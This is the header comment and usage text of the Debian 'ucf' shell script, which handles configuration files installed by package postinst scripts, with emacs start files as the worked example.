# Status           : Unknown, Use with caution!
# HISTORY          :
# Description      :
#
# This script attempts to provide conffile like handling for files not
# shipped in a Debian package, but handled by the postinst. Using this
# script, one may ship a bunch of default cofiguration files somewhere
# in /usr (/usr/share/<pkg> is a good location), and maintain files in
# /etc.
#
# The motivation for this script was to provide conffile like handling
# for start files for emacs lisp packages (for example,
# /etc/emacs21/site-stard.d/50psgml-init.el) These start files are not
# shipped with the package, instead, they are installed during the
# post installation configuration phase by the script
# /usr/lib/emacsen-common/emacs-package-install $package_name.
#
# This script is meant to be invoked by the packages install script at
# /usr/lib/emacsen-common/packages/install/$package_name for each
# flavour of installed emacsen by calling it with the proper values of
# new file (/usr/share/emacs/site-lisp/<pkg>/<pkg>-init.el), and dest file
# (/etc/emacs21/site-stard.d/50<pkg>-init.el)), and it should do the rest.
#

Usage: $progname  [options] new_file  destination
Options:
     -h,     --help          print this message
     -s foo, --src-dir  foo  Set the src dir (historical md5sums live here)
             --sum-file bar  Force the historical md5sums to be read from
                             this file.  Overrides any setting of --src-dir.
     -d[n], --debug=[n]      Set the Debug level to N. Please note there must
                             be no spaces before the debug level
     -n,     --no-action     Dry run. No action is actually taken.
     -v,     --verbose       Make the script verbose
             --three-way     Register this file in the cache, and turn on the
                             diff3 option allowing the merging of maintainer
                             changes into a (potentially modified) local
                             configuration file. )
             --state-dir bar Set the state directory to bar instead of the
                             default '/var/lib/ucf'. Used mostly for testing.
             --debconf-ok    Indicate that it is ok for ucf to use an already
                             running debconf instance for prompting.
             --debconf-template bar
                             Specify an alternate, caller-provided debconf
                             template to use for prompting.
Usage: $progname  -p  destination
     -p,     --purge         Remove any reference to destination from records

By default, the directory the new_file lives in is assumed to be the src-dir,
which is where we look for any historical md5sums.
